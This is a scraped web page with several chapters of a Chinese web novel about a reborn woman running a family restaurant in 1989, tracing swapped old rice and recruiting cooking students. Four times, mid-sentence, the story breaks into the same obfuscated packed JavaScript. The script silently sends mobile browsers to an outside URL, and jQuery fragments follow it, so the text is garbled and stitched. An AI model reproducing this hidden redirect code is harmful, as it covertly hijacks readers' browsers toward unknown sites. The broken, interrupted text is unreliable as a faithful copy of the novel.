;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918756|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服务员丫头把大厅里收拾得干干净净。 一众师兄弟便端着大家的午餐出来。 “让让让，让让让啊，开水了！” 胡大力端着三层蒸格从后厨出来了，他个子大，虽然平时人嘴上凶，但是有实在出力的地方，他也都不躲懒。 平时沈家酒楼午餐都是，轮班掌勺的师兄弟炒一荤一素两个菜。但是今天陈叔说午餐他来安排。 于是就在陈叔盯厨的时候，让明美做了这道不耽误师兄们炒菜的粉蒸肉。 蒸菜在乡厨席间是一绝。 今天中午吃饭的人有十来口，正是让明美好好练练调味和掌握食材烹调时间的好时机。 于是开餐前1小时，明美用了午餐余料剩下的五花肉。 她找了个小煤炉在一口小锅里把香料一一炒熟，香味透过铁锅传来焦香的味道。 可以了，然后她看到后厨的水盆里泡发了一大桶小米。 这小米应该是昨天要用的，但是由于没有开店，现在闲置了。 明美将水倒掉，又拿过一个葫芦瓢将小米盛出。 这个小米泡发的刚刚好。 然后她将香料放在石臼里粉碎，又用小勺子挖了出来放在小碗里备用。 明美找到一大块空地，就在蒸炉旁边，师兄们还在炒菜，她搬过一个塑料盆，将肉和香料调匀，还需要腌制一下。 小米放进筛子里，再沥沥水。 中间，明美看见大厅里的客人快吃完了。她把一大把花椒粉加入到小米中，搅拌均匀，然后又倒入塑料盆和肉充分搅拌。 然后一片片放进碗里，码整齐排列好，十分整齐。 明美一直干着活，陈叔不时回望看她，陈明美不敢说话，其实她无法将蒸格端上炉上，对于她来说真是太大了。 陈叔瞧着明美，明美瘪瘪嘴不说话低头。 就在明美打算试着抬一抬时，顾辰路过见状，轻描淡写的将蒸笼放上了炉子。 顾辰蹲下身，擦了擦明美额头上的细汗，拿出一颗番茄给明美。“小明美，累了吧，歇歇。” 明美抬头看向陈叔，但陈叔已经背过了身去，见明美不拿，顾辰将番茄塞在了她的手里。 ****** 小明美做的这道小米粉蒸肉，从胡大力揭开盖时便扩散出来一股极大的香味。 师兄弟们纷纷探着脑袋看，还没吃就都又转头看向明美，都是一脸不可置信的样子。 沈木犀觉得自己二十岁怎么饿成这样，根本顾不了大家，一筷子夹起一片粉蒸肉，吃了起来。 这还是她重生回来吃的第一顿工作餐。 这粉蒸肉，别具一格。 小米因为泡发的原因，滑渣一点都不扎嘴，而且蒸的时间刚刚好，肉的口感还在，而且油脂温润，透着对香料拿捏的准确度。 沈木犀觉得这道粉蒸肉真是太好吃了，这个小明美现在就可以这般，今后不知道会是怎样的一个天赋厨子。 真是比她爹强得不止一星半点。 见沈木犀两眼冒星，大家于是谁也不让谁的一顿争抢吃饭，不住夸着明美真是个小厨神。 明美看着陈叔，陈叔端碗吃饭，一脸镇静，不见喜怒。 明美也只能底下头，沈木犀见状把她的头扭了过来，竖起大拇指告诉她：“明美，你真棒！” 于是明美轻轻的笑了。 沈木犀和大家还在扒着饭，没瞧见顾辰，问应红：“小师弟呢？” “在后厨给明事雕龙呢？”应红一脸无语。 “为啥啊？” “胡大力说，顾辰要是能雕龙，陈明事得喊他爸。” 话罢，饭桌上的人全笑了。 沈木犀也笑着，看着后厨里顾辰，他正在仔细地给明事雕着龙，明事也抱着个碗站在他旁边，眼睛瞪得巨大，一脸不可置信的看着案台上的东西。 18. 奶油雪糕 沈木犀环抱着双臂点点头，站在大堂看着顾辰雕的那条龙。 陈明事自从见了那条龙，嘴就没有闭上过。 胡大力站在陈明事的旁边轻轻推了推他，陈明事抱着碗，冲到顾辰面前，闭眼大喊了一声。 “爸！” 只听陈明事叫完，整个大堂爆发出巨大的响声！ 陈明事小脸儿一阵通红，他故意背对着顾辰坐在了桌上吃着明美做的粉蒸肉，小嘴吃的油亮油亮的。 沈木犀看着顾辰也跟着师兄弟们一通笑着。 见大家难得乐呵一堂，沈木犀似乎忘却了主厨争霸的紧张。 顾辰放下碗，来到沈木犀身边。 顾辰：“师姐，陈米的事儿，我这儿知道一个人，估计能给你点儿线索。” 沈木犀眼前一亮，这小子是怎么知道自己在查这件事儿的。 “今天老刘送来的米，不是朱三家的。”顾辰自顾自说：“你在朱三那儿大概都知道了，城里所有在市场开粮油店的都是她家亲戚，也可以问问顾星河。” 顾辰说罢看着店里柜台上的赤水酱香酒，沈木犀到这里才明白顾辰的用意。 对！百年顾家老号依托于顾家的赤水酱香酒。粮食是酒的第一原材料！这么大一掌柜，找个粮油百事通不成问题。 沈木犀：“那晚上上客差不多了，咱俩去顾家老号一趟？” 顾辰点点头。 …… 在店里忙着的时候时间过得非常快，晚上的几桌散客也都吃喝得七七八八。 沈木犀来到自来水管前，直直地洗了一把脸，又拿起香皂盒里的香皂好好地洗了洗手。 一股老式的皂味扑面而来。沈木犀感觉挺好，忙了一天自己收拾利落了去顾家老号不会被顾星河拐弯儿抹脚的恶心就行。 收拾好沈木犀刚一脚踏出了门，后脚就想起得叫上顾辰。 沈木犀正要再转身去后厨，却抬头发现顾辰已经脱下了工作服，一身干净又利落的常服出现在沈家酒楼的门口。 顾辰见沈木犀换了一身衣服，眼中的光影略有闪动。在还未发现之际，顾辰收回了那种炙热的目光，将一块奶油雪糕递给了沈木犀。 沈木犀见这种用油纸红字包裹着的奶油雪糕也是一脸惊。 这种雪糕肯定不比上一世已经问世的那些高纯度牛奶的雪糕好吃。雪糕橱柜里摆满了琳琅满目的各种雪糕，时常让沈木犀犯起了选择的难题。 无数次贵到十分离谱的雪糕价格，也常常让沈木犀怀疑这世界，经常又放下了那些雪糕，不是她吃不起，是很多时候都没有一个必须要吃雪糕的理由。 重生的这个时代里，春天的一早沈木犀必须买一串茉莉香花；夏天的傍晚她必须要吃一根奶油味的雪糕；那些在时节里的必须构成了这个时代的唯一…… 沈木犀拿过那枚雪糕才想起了，为什么上一世的她们为有那么多的必须，她将雪糕外皮纸撕掉，咬了一口，让这口雪糕在自己的嘴中融化。 是带着糖精，后味微微发苦的奶油雪糕。沈木犀抬眼看见了不远处那个背着一个绿色木头箱子，外层刷着冰棍字样的卖雪糕的人。 沈木犀不知何时又是如何上了顾辰的偏三轮坐在座位上好好的享用着这枚雪糕。她必须赶在融化前将这份幸福卷入肚中。 突然一个念头在沈木犀心中坚定，重生的这一世，她必须按照她觉得最自在的方式过活，比如接下来她必须搞清楚，陈米的事情。 …… 陈炎自从上午在沈家酒楼吃了憋，于是摸着点儿就来到了顾家老号。 顾星河正在大堂拿着算盘啪啪打着近日的营收。算盘声音逐渐降低频率，顾星河的脸上也越来不好看，精细的手指摸着算盘扣，眼里盯着账单，硬是再拨不动一个数了。 最近顾家酒楼怎么回事儿！ 顾星河看见营收在逐渐下降！顾星河翻看菜单，最近几个常客都没有点百花烧卖，对于自家的王牌菜品，沈星河觉得这几乎就是不可能的情况。 顾星河蹙着眉毛，一脸没好气，打算起身去后厨和几个包间看看餐后的情况。 只见陈炎来到大堂，几个相熟的顾家厨子向他点头。 顾星河消息灵通一早就知道了沈木犀带着众师兄弟开了工。 陈炎笑笑：“星河。” 顾星河嗔怒左右看着周围是否有人。 顾星河：“有什么说话，叫我掌柜的。” 陈炎：“顾掌柜的，咱俩之前说的那个如果我师兄弟们不开工，主厨比试前他们的日钱，这边给。” 顾星河：“你还好意思给我要钱，沈家酒楼不是开得好好的？沈家就能结他们日钱。” 顾星河不理陈炎，打算收了账本离开。 陈炎见顾星河不理睬他，上前了半步将顾星河拦住。 顾星河：“你最好搞搞清楚，你拿什么给我谈条件？”她把账单底下的一沓资料塞到了陈炎里。 “认字儿的话，就好好看看啊。人家沈木犀就两天，已经把办学用地弄好了。我们办学的合作协议她也发我了。这两天会计会赶紧核算出来。” 陈炎听着顾星河解释，看着板上钉钉的合作协议，忙解释。 “可是星河，只要你给我一笔钱，沈家酒楼这两天就能完蛋！” 顾星河不屑地笑出声：“我就是给你钱，明天招生也将会开始。你觉得你只是被沈木犀撵走这么简单吗？” 陈炎一时不太明白顾星河的意思，但能感觉到顾星河语中事态的严重性。 “咱们本来办班儿就是背着沈家做的，沈木犀全然不清楚这里外里的厉害关系。你倒好为了争强好胜，直接威胁她主厨不想干了！”顾星河说累了，喝了一口手边儿的茶，“你觉得沈木犀这两天为啥理都没理你，先把办学校的事儿三下五除二的办好了。” “她在未雨绸缪。”陈炎一时精气神都没了，只想给自己抽大嘴巴子。 “这钱你还想找我要吗？”顾星河见陈炎没出息的样子，不想搭理他。因为她也在为之后招生的事情犯难。沈木犀这次半杀出，她必须得搭上这趟办学的车，但是眼下这笔钱对她来说也很困难。 陈炎见顾星河扭着腰就去包房查餐了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918757|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从这儿拿钱给师兄弟们罢工的念想估计是行不通了。 他得赶紧想办法，眼下不管是沈家酒楼执意跟自己断了联系的沈木犀，还是有意只想利用自己的顾星河，这两个女人都靠不住。 最不好的一种办法就是，他窜的局，后来的人给自己踹了。 陈炎越想越烦，可是眼前还能想出什么好办法呢？ 陈炎走在路上，路灯将他的影子拉长。 一个男人拿着皮夹包蹲在路边，像是在路口等候陈炎很久了。 那人西装革履的，油头梳得水滑。 “陈老板”那人猫着腰，轻轻喊着路过的陈炎，陈炎也被突然钻出来的这人吓了一大跳。 “陈老板，我是朱三介绍来的。”那人明显是认得陈炎。 但陈炎听到朱三的名字，心里一咯噔。赶忙拉着那男人，又看看周围有无别人。见只有他们二人，陈炎这才稍显松弛。 “陈老板，朱三是我娘舅家姑母的外侄女，我俩里外里算表亲。”那人见陈炎愿意听自己来意，继续道“那个，我看您最近和顾家还挺好哈？” “有事儿说事儿。”陈炎知道这人在顾家老号门后截他，自然是带着目的而来。 “哈哈，陈老板，我们家呢是做高粱米生意的，还带一些小麦。”那人停了停，陈炎抬眼看他。 “顾家百年老号和赤水酱香酒的渊源大家都很清楚。我几次想要和赤水酱香酒合作供应高粱米，都没什么门路。” 陈炎觉得这人真够可以的，弯弯绕的关系还能盘到他这里来，赤水酱酒那是什么人都能掺合的生意吗？就算顾星河能够掌管顾家老号，但是在酒厂叔伯面前，陈炎一个外人都能感觉得到她也说不上什么话，更别说涉及酱香酒，核心原料的高粱米了。 陈炎摇着脑袋觉得这世道真是什么自不量力的人都有。 陈炎径自就要离开，却被那人又上前拦住。 “陈老板，高粱米这事儿，您务必帮我们疏通疏通。朱三给我们聊，您之前把沈家酒楼新米拿出来换陈米的事儿，都是她帮您张罗的，费用其实是我这边出的。朱三说您人特别好，一定会帮我们疏通这个关系的。” 敢情在这儿等着我呢？ 陈炎整理整理了脸上难看的脸部肌肉，笑迎迎的揽上那人。 “好兄弟，想和赤水酱香酒做生意，真是有眼光，有雄心壮志啊！老弟实在佩服啊。” “陈老板，我们自然知道您和顾家老号的关系，现在关系就是钱，日后做大做钱，一起分钞票呗。” 陈炎被这句夸得有些心动，觉得未尝不可发展一下，给自己留个后路。 于是在路灯下，收下了来人递过来的一沓钞票。 陈炎只觉得，这钱没准儿能解自己当下在沈家与顾家酒楼之间的问题。既然这两个女人不让自己上桌，那筹码就自己挣了。于是陈炎一把搂住那人，说着找一家酒馆好好喝个几杯。 而两人的背影，这一切正好被刚到顾家老号门口的沈木犀与顾辰看见。 顾辰认得那男人，是上一轮流掉赤水酱香酒高粱米标书的吴老板。 19. 老麻红油抄手 沈木犀见顾辰盯着离去的人，想停下问他，却被顾辰用眼神示意该往顾家老号里去了。 沈木犀觉得也是，抓紧时间，明天还有招生的事情。 顾家老号的客人相对还是更多，沈木犀打量了下四周，没有看见顾星河在大堂查账。 于是顾辰领着沈木犀往包间去了。 “这个点儿，她应该在查餐后。” 沈木犀觉得有些奇怪，脸上挂着“查餐后”是什么的疑问。 顾辰走在前面淡淡地：“查餐后是在每餐结束后就去包房看用餐情况。” 说着，二人走在路上就听见包房里传来顾星河的声音。 几个服务员低着头挨训。 “这几个碟子里全是烟灰，我们家烟灰缸是没有吗？”顾星河周身都散发着一股咄咄逼人的气息。 几个挨训的小姑娘头低低的。 “还有这个烧卖，客人没吃完，怎么没人及时给我说啊！” 最后一个啊字，顾星河拐着弯儿升降了语调。 还是没有人回答，顾星河憋着火：“把胖大厨给我叫来！” 一个服务员小姑娘回话：“胖大厨还在出餐……” 顾星河：“百花烧卖的百花都散了，还有功夫出餐！让他自己来尝尝究竟是怎么回事！” 沈木犀和顾辰来到门口，顾辰想要进入，却被沈木犀拦了下来。 2分钟后，胖大厨被前厅的领班带着近了包间。 胖大厨看着包房里气氛阴沉沉的，本想笑着化解一下尴尬：“哈哈，掌柜的今天……” 顾星河眼色一厉：“别跟我这嬉皮笑脸的，你自己尝尝这是啥！” 顾星河抽了一双筷子扔到胖大厨跟前。 胖大厨低头看了眼蒸笼里剩下的烧卖，那烧卖从成色看已经很不合出餐的水准了。 胖大厨拿过筷子，夹起一枚，一整个吃进了嘴里。 顾星河：“说说吧，是哪个环节的问题。” 胖大厨脸上阴阳不定，蹙着眉，放下了筷子：“掌柜的，这个烧卖不行。” 顾星河：“我知道不行，我问你是怎么个不行！” 胖大厨：“这烧卖入口，面就塌了，粉不好。” 顾星河：“你出餐的时候都没注意？” 顾星河：“餐后都能剩这么多烧卖，这种出餐水平，客人还硬把钱掏了，你们是觉得客人的钱是打水躺来的吗？” 大家集体沉默，不敢出声。 顾星河：“大厨，你带着你的人搞清楚是哪个位置的问题，百花烧卖这菜是雕在大厅里的木雕上的。如果找不到问，解决不了问题，你们自己想后果。” 顾星河冷着脸，出门了，猝不及防地发现沈木犀和顾辰就在门口，一时愣在原地，不知如何开口，不经意间也看了一眼顾辰。 沈木犀：“咱们不是说好对下招生的事情？” 顾星河：“啊，你看我这都忙晕头了。” 顾星河顺势拉着沈木犀，把她揽着往大厅去了。 其实招生的事情是明天的事儿，沈木犀觉得顾星河估计也是气昏头了。怎么自己随便一说，她也就接坡下驴。 但到了大堂，顾星河面色回暖，轻声细语的问：“犀犀，找我还有别的事儿吧？” 沈木犀赶紧收回对顾星河的刻板形象，这个女人真厉害。 沈木犀：“现在这帮伙计们真是难管，我跟你一样的。这不就来麻烦你了。”顾星河倒过一杯砖茶递给沈木犀，自己也喝了一口，睁着一双大大的眼睛看沈木犀。 沈木犀：“星河，你们家做烧卖肯定和粮油生意的打交道多，能不能给我介绍一个人？” 顾星河听沈木犀这么说，一耳朵就知道是顾辰支的招，她不想打太极，先听听看是怎么回事。 顾星河：“嗨，那都是老顾家家里头的资源，我就是个跑堂的，有什么能帮忙的，我义不容辞，而且咱们学校不是马上要开办了么，咱们一家人不说两家话。” 沈木犀：“是这样星河，最近我们家的米出了点儿问题，陈米掺合在新米里蒸。愣是没被人发现。采买都是我经手的，但是粮油店的人说跟他们没关系。” 顾星河听得认真，突然觉得和自己百花烧卖的问题有些像。 顾星河：“你查账了没？炒菜出餐咋样？” 沈木犀：“我们家炒菜为主，配米饭。米饭不好吃，菜再下饭，也是白搭啊。” 顾星河一下明白了问题，她拉住沈木犀的手：“犀犀，你等我两分钟，我去后厨一趟。” 顾星河心里一下明白了许多，她需要去验证一下。 两分钟后，顾星河领着人来到大厅，此时大厅里吃完晚饭的人走得差不多了。 胖大厨带着白案的师傅来到顾星河和沈木犀、顾辰跟前。 白案的老李拿出一袋子白面：“掌柜的我们查了，面粉有问题！” 顾星河：“怎么说？” 老李抬眼看了一下胖大厨，大厨点点头示意老李继续解释：“这白面筋度不够。” 顾星河：“筋度不够，揉捻蒸面整过程都没有人发现，你们觉得随便找个理由就能把我糊弄过去？” 胖大厨和老李不做声。 这种低级错误确实不是他们的理由，因为单从外观来看就能从色差发现问题，更别说顾家这种百年老店的伙计。 见老李和胖大厨没在多解释，于是顾星河没再多说，摆摆手让他们赶紧换面粉，这几天盯紧点儿免得再出问题。 见二人走了，沈木犀问：“星河，你这都相信了？” 顾星河：“没有，只是胖大厨带着老李来，我也没招，只能敲打敲打他们，下回别再出问题。” 沈木犀：“那你这面粉的事儿就不查了？” 顾星河：“问题不在这儿。对了你不是要找一个粮油行的百事通？” 沈木犀点点头。 顾星河：“行吧，我带你们去找人！就当谢了你这几天辛苦跑关系。” …… 1989年的夜晚，街面上几乎没有任何店在开门。只有火车站一带还有一些摆摊卖夜面条抄手的。 由于火车晚点，站门口的广场上挤满了人，大家手里拿着小本儿仔细比对着时刻表。在这个通讯不便利的这个时代，等待就是一种承诺。信誉是连接彼此的桥梁。 然而顾星河看着沈木犀还在看人等人，不耐烦的拉扯着她赶紧走。 顾星河要带二人来的地方在火车站门口的巷子里，是家夜抄手。 远远的就能从巷道门口看见，几个大锑锅在煤炉子上滚着开水。 夜里，气温稍有些低，热水被蒸腾开，水汽渐渐散开，沈木犀看见一个扎着长长麻花辫风韵犹存的女人正在摊前忙着。 那女人抬眼见是顾星河一行人，笑起来：“顾掌柜的，来我这儿了？” 顾星河：“嫂子，我们来火车站办点儿事儿，饿了，来您这吃点宵夜。” “行，吃什么？” “三碗红油抄手！都加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918758|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻！”顾星河也不和沈木犀和顾辰商量，自己便决定了。 沈木犀不知道顾星河葫芦里到底装的什么药，先静观其变吧。 自己也很久没有吃过红油抄手了，而且还是这种宽水煤炉子煮的。 几分钟以后，老板娘将三碗红油抄手摆在了她们面前的桌上。 一碗抄手12个，一碗5毛钱。 顾辰起身把筷桶里的筷子抽出来放进老板娘煮面的开水里，滚开。 稍有片刻便一双一双的递给二人。 沈木犀看着这碗抄手，在这样的夜里显得格外诱人。 抄手漂在红油汤里。 最后撒上的那点泛绿的花椒粉，一秒入魂！ 太香了，麻味在空气中直逼天灵盖，沈木犀觉得先把来找百事通的事儿放在一边吧。 吃了这碗再说！ 沈木犀吃着碗里的抄手，这抄手里的肉馅儿，明显给得更多，个大的很。 肉馅里掺不少姜蒜水，所以吃不到姜蒜颗粒，但能吃到香味。最重要是调馅儿的人很有耐心，应该是分了很多次水，顺着一个方向搅拌，直到将馅喂够水份。 这样的肉馅，吃起来嫩，并且因为一个方向的搅拌上劲，口感并不滑渣松散。 就因为这口，看似小小的盘馅功夫，沈木犀抬头看着那女人，真不简单。 再吃这口抄手更加封神，这碱水揉面压制出来的抄手皮，虽薄但吃起来劲道十足。 这小小的抄手，荷叶化边，柔嫩却不松散。宛如初夏清晨里的一朵新长的荷叶。 这一碗看似平常的抄手，功夫十足，沈木犀觉得这小巷里藏龙真厉害。 再抬眼，沈木犀已经吃得非常过瘾了，她抬头看那女人还在打着佐料。 沈木犀支棱着脑袋，想要偷师。 只见那女人，依次将盐、味精、一勺猪油、一勺芽菜，2大勺辣椒油，放好备用，那女人见沈木犀她看，：“还要再加一勺熬熟的酱油。” 沈木犀竖起大拇指！ 顾星河也吃完了，用手帕擦擦嘴角。这时那老板娘走了过来，一人给了一碗飘着2.3颗青翠小葱花的海带汤。 顾星河：“送的啊？” 那老板娘笑着：“送的不收钱，放心喝！” 就在那女人举手投足间，沈木犀隐约看见她长裙袖子下纹了一个非常美丽的纹身。 这样的纹身在这个时代非常少见。 那女人见沈木犀瞧得认真，就把袖子挽了起来，那是一大朵花，还有一只蝴蝶点缀。 “还不是因为给顾掌柜的做炸糕，那天我记得店里要好多，结果出事儿了，烫到了，要不是顾老板给我介绍了几个搞音乐的朋友，纹上了朵花，我估计现在都嫁不了人了。” 说着那女人还嘻嘻哈哈。 而顾星河却一脸愁容，：“你活儿又好，人又漂亮，就非得嫁人？” “那有什么不好，我们家老李对我挺好的。” 刚说完这句，只见先前在顾家老号的老李走了进来。 “啊，掌柜的来了。” 顾星河没说话，又看看那女人，那女人拉着老李，往摊一侧去了。 两人在路灯下说着，那女人靠着电桩抽上了一支烟，老李一直低着头…… 一支烟罢，老李和女人回到桌前。 “顾掌柜的，老李这个粮油百事通说他愿意帮忙，你随便问。” 沈木犀看着顾辰点点头，脸上写着，老李就是你要找的粮油百事通。 20. 酒酿汤圆 老李看着沈木犀，又瞧瞧顾星河。 顾星河：“先说沈家酒楼的。” 那女人把身上的围裙取了下来，把几个碗筷收拾好了，将一杯热水递给了老李。 老李应该是自从被顾星河问过话后就没有喝过水，嘴皮发干。 于是接过水杯，一饮而尽。 “慢点儿喝。”那女人温声说着，一只手握住老李的手，一瞬间给了老李莫大的勇气。 “简单来说，沈家酒楼的陈米和咱们顾家老号的陈面，都和沈家酒楼的陈炎大厨有关系。” 沈木犀眼前一亮，她看向顾星河，顾星河一脸严肃。 老李看着两个掌柜的，深呼吸了下继续说。 “陈炎让小伙计们把新米拿出来换了朱三的陈米，钱是朱三的远方表亲给的。”老李把空了的杯子示意女人再来一杯，继续道。 “顾家老号最近的面粉，颜色就是暗了，说了很多回。但是胖大厨也当没听见。” 顾星河不像沈木犀，一听就炸：“这帮吃里扒外的东西。” 老李：“我问过朱三，但是她不承认自己买卖换了粮，钱她也没给。” 老李看着眼前的二位：“你们也知道……” 沈木犀点点头，小声：“全城卖粮油的都是亲戚。” 老李：“他们嘴很严，我再百事通也只能从最近胖大厨和陈炎走得近来猜测。但是直接的证据，没有。” 顾辰：“老李，你知道吴大伟吗？” 老李：“知道，不多。他在火车站批发米粮，以前是铁路的，早两年下了海，再回来包了几个火车站的货运。火车皮拉粮供给全市，而且最近他想要垄断高粱米。” 顾辰：“你怎么知道？” 老李：“他最近总来咱们老号，蹲了陈炎好几次。我出来抽烟看见了。” 顾星河：“吴大伟为什么来老号，找陈炎？” 老李不说话，看了一眼身边的女人。女人握着他的手，点头示意他讲。 “应该是，为了赤水酱香酒吧。” 老李话一说完，沈星河腾得站起身，她现在就要找陈炎说清楚，究竟是怎么回事儿。 “吴大伟胃口不小，还想打赤水酱香酒的主意。”顾辰轻哼出声。 顾星河：“吴大伟，找上陈炎真是倒大霉。” “不一定。”顾辰神色了然。 “不管哪一方的粮油出现了问题，陈炎才是那个实在背锅的人。而吴大伟可以趁势看哪家出了事，随时利用自己手里的资源，让几方酒楼的粮都有问题。” 顾辰说完，大家都不作声，只见老李点了点头。 …… 沈木犀和顾星河、顾辰三人从巷子里出来。 沈木犀不时回头看向巷子里的老李和他身边的女人。 顾星河见沈木犀的样子：“好了，别看了沈大掌柜的。他俩确实不般配，而且你刚才也吃出来了，那荷叶边的抄手皮，手里功夫非常到家。” 沈木犀：“那为什么会嫁给老李呢？” 顾星河：“我们家老李，人很差吗？那也是我们顾家老号白案上的大工师傅啊。” “当然了，老李手里的功夫确实是这女人教的。” “她叫什么？要不我开工钱来我们沈家酒楼吧。” “她是李木兰，曾经我们顾家老号的白案大师傅。” 随着三人渐渐离开小巷，李木兰擦着三人吃完饭的桌子，见老李下班了，打算也收摊了。 李木兰拿着抹布低头一看，发现筷筒下面压着一张五块钱。 李木兰抬眼看向巷子尽头快要消失的顾星河，眼眶有些湿润。 …… 拐过弯，沈木犀还在问：“你说说究竟是为啥，这么好的师傅，怎么就在这犄角旮旯里摆摊卖抄手了。” 顾星河不耐烦：“她前一个对象的老婆找来了。说她不检点被她男人搞大了肚子，木兰怀着孩子，老李站出来帮木兰认下了自己就是孩子父亲。也挡下了挥过来的长刀。不然她现在就不是被油锅泼了纹朵花那么简单了。” 顾星河说得有些不耐烦，冲着沈木犀：“有烟吗？” 沈木犀摇摇头。 顾星河从自己的风衣里终于找出一根来，自己点上。 顾辰：“火车站不让抽烟。” 顾星河：“这是火车站附近。” 顾辰：“火车站附近不让抽烟。” 顾星河将烟猛抽了两口，然后低头仍在了脚下踩灭。 “说到哪儿了？” 沈木犀：“不让抽烟。” “没抽了。”顾星河盯着两人，沈家酒楼出来的有病。 “李木兰那个前对象的老婆原来是工商局的，然后三天两头找我们的事，为了不影响老号生意，李木兰就辞了工作，最后嫁给了老李。” “孩子呢？” “没生出来，就流产了。” 沈木犀点点头“可惜了一个大师傅啊。” 顾星河：“那可不，多好的人才啊，都能把老李这样的带出来。你想想，还愿意在这火车站卖抄手。” 顾星河：“那可不是什么5毛钱的抄手。” 沈木犀：“也对，那可是你们百年老号的荣誉。” 顾星河哼出一口气，使劲点点头。 三人来到岔路口。 顾星河见顾辰的偏三轮只要有2个座位，停了停，琢磨怎么安排离开。 “我送我们掌柜的回去，顾老板您注意安全。”顾辰眼也不抬得说完，直接上了车，看着沈木犀。 2分钟后，火车站附近的路边，路灯下，独自一人的顾星河暴躁地抽完了第三支烟后，终于搭上了一辆面的离开了。 第二日，沈木犀一早便在芭蕉坝的菜市场和应红支了张桌子。 橙黄色的木桌上盖着一张大大的红纸。 上面清楚的写着“新梦想”烹饪培训班招生。 “第一期学厨学员招收50名，月底入学，为期1年。” 一个戴眼镜的工人一个字一个字的念着，念完便离开了。 虽然菜市场的人流量巨大，但是在沈木犀摊前驻足的人十分稀少。 应红本想利用自己最会推销的本事，向几个路人介绍介绍。 大家一听，学艺还得教钱不如去搬货卖苦力。 里外里这一年还能攒下几个钱。 应红觉得自己花光了这些年的所能，面对菜市场里这帮人，自己还是差远了。 面对应红一个人头也没拉到的局面，沈木犀也觉得有些无奈。她虽然有预料到，但是没想到是如此惨淡。 只见这初夏的天，一声闷雷，沈木犀想下雨吧，落了她赶紧回沈家酒楼干活儿了。 但是沈木犀看到方木春带着好几个朋友朝她走来，有男有女的，和她一般大。 方木春知道今天沈木犀在菜场招生，因为多磨了一两个没考上大学的朋友来报名，所以晚了。 沈木犀看着快要被雨打湿的红纸。 一时有些说不出什么好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918759|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 她低落的心情，逐步在上升，开始明媚起来。 方木春带着的这三五个朋友，人手打着一把伞，见沈木犀和应红快要被淋湿了，于是将伞朝着沈木犀伸了过去。 可就在沈木犀刚想要开口向几位报名的学生问好时。 一旁朱三带着三五个伙计直接将沈木犀支的桌子掀了，一时惊得市场门口鸦雀无声。 应红上前半步挡在了沈木犀的跟前。 应红：“你们干什么呀！” 朱三身边的大胡子：“你看看你们干什么了！” 原来她们的旁边就是朱三的粮油店，粮油店占道经营，支出来的位置，因为方木春几个同学的伞淋下的雨，把那一道的米面打湿了。 于是朱三带着几个伙计直接把沈木犀的摊掀了，毕竟沈木犀一行人，并不是市场里的人。 加上之前沈木犀警告过朱三如果不交代陈米的事，便不会在她家购米了。 新仇旧恨，朱三自有治沈木犀的办法，因为几滴水的事儿，就要把现场搞得一团大乱。于是朱三带头就要去扯几个姑娘的头发。 方木春的那几个同学也不是好惹的，叫嚷着：“现在是法制社会，这是讲法的时代。” 于是那几个同学拿着朱三家占道经营说事儿，直接惹恼了周围好几个商户。 越来越多的商户和路人掺合进来，你一言我一语的相互对骂。 把平时对对方的怨气都加在沈木犀来宣传厨校培训班上。 上一世，绝不与人争执的沈木犀，佛得都不像话。 这一次，连日来憋闷劳累的沈木犀觉得，随便吧，先甩开了袖子扒开了人群和她们吵。 但是下一秒，顾辰带着几把伞，打在了沈木犀的头顶。 “这不是有几个报名的同学吗？咱们先回去填表吧，市场里的事，我之后处理。” 顾辰沉着冷静看着人群背后的陈炎，眼神中散着寒光。 沈木犀一下被掐了节奏，鬼使神差得听着顾辰的话带着一众学生回到了沈家酒楼。 ****** 进了沈家酒楼的门，顾辰叮嘱应红安排淋湿了的学生稍作休息。 顾辰：“我锅里热了酒酿汤圆，我去拿来。” 此时虽是初夏，但是强对流的冷空气，让几个淋湿的人感到格外的冷。 但是听到酒酿汤圆时，竟都朝着顾辰离去的方向看着。 几人接过应红从二楼拿下来的干毛巾，擦着身子，捧着手里的热茶全然忘记了刚才在市场里要和人开干的样子。 